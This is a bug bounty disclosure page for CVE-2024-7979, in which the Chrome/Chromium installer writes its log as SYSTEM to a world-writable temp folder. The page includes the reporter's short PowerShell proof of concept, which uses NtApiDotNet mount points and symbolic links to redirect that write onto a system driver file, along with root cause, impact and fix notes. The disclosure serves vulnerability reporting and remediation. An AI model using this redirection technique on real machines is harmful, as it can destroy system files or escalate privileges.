Insufficient data validation in Installer (CVE-2024-7979)
The Chrome/Chromium installer writes a log file to a world-writable temp directory while running with SYSTEM privileges. A local non-admin user can create a symbolic link to redirect that write to an arbitrary file, potentially causing elevation of privilege or a denial of service.
- Fix shipped in 24 days
Steps to reproduce the problem
- Chrome/Chromium Installer creates and writes a file chromium_installer.log(chromium) or chrome_installer.log(chrome) in C:\Windows\temp
- Since a non-admin user has write access on C:\Windows\temp, user can create a symlink on that to get arbitrary file create or write access using the below script
Import the NtApiDotNet module
Import-Module ".\NtApiDotNet.dll" -ErrorAction Stop
Define the temporary path and get the Windows directory path using the environment variable
$tempDirectory = [System.IO.Path]::Combine($env:WINDIR, "Temp")
$system32Path = [System.IO.Path]::Combine($env:WINDIR, "System32")
$outputDllPath = [System.IO.Path]::Combine($system32Path, "drivers\cng1.sys")
# Create a mount point
[NtApiDotNet.NtFile]::CreateMountPoint("\??\$tempDirectory", "\RPC Control", $null)
# Create a symbolic link
$outputLink = [NtApiDotNet.NtSymbolicLink]::Create("\RPC Control\reports", "\??\$outputDllPath")
- If the target is set to any system critical resource like cng.sys, it will lead to a permanent DOS.
I am using another verified and accepted security bug https://issues.chromium.org/issues/40063745 as a reference here to show its a similar issue but exists in installer
Problem Description
Installer is writing to a location where user has write access when the installer is running as SYSTEM. With this, arbitrary write can be achieved which can lead to EOP or a DOS.
Additional Comments
This is exactly similar to https://issues.chromium.org/issues/40063745 but in installer. This is affecting both Google Chrome and Chromium. Its been there from long time. I think the culprit code is https://source.chromium.org/chromium/chromium/src/+/main:chrome/installer/util/logging_installer.cc;l=131;bpv=1;bpt=0.
Fix: It should use GetTempPath2 to get a more restrictive location to write.
Summary
Chromium arbitrary file create/write vulnerability
Custom Questions
Reporter credit:
VulnNoob
Additional Data
Category: Security
Chrome Channel: Dev
Regression: No
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The installer uses a predictable log file path in a directory writable by non-admin users while running with SYSTEM privileges, allowing a symbolic link attack.
Impact
A local non-admin user could achieve arbitrary file write, potentially leading to elevation of privilege or a denial of service.
What the attacker needed
Local non-admin access; installer runs as SYSTEM
The fix
The installer should use GetTempPath2 to obtain a more restrictive location for writing logs.
How it was found
- The installer creates a log file in the Windows temp directory.
- A non-admin user creates a symbolic link in that temp directory pointing to a target file.
- The installer writes to the log file, following the link and writing to the target.
- If the target is a critical system file, it causes a denial of service.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When the Chrome installer runs, it creates a log file in a folder that any user can write to. A regular user can trick the installer into writing to a different, sensitive file instead, which could break the system or let them gain higher privileges.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.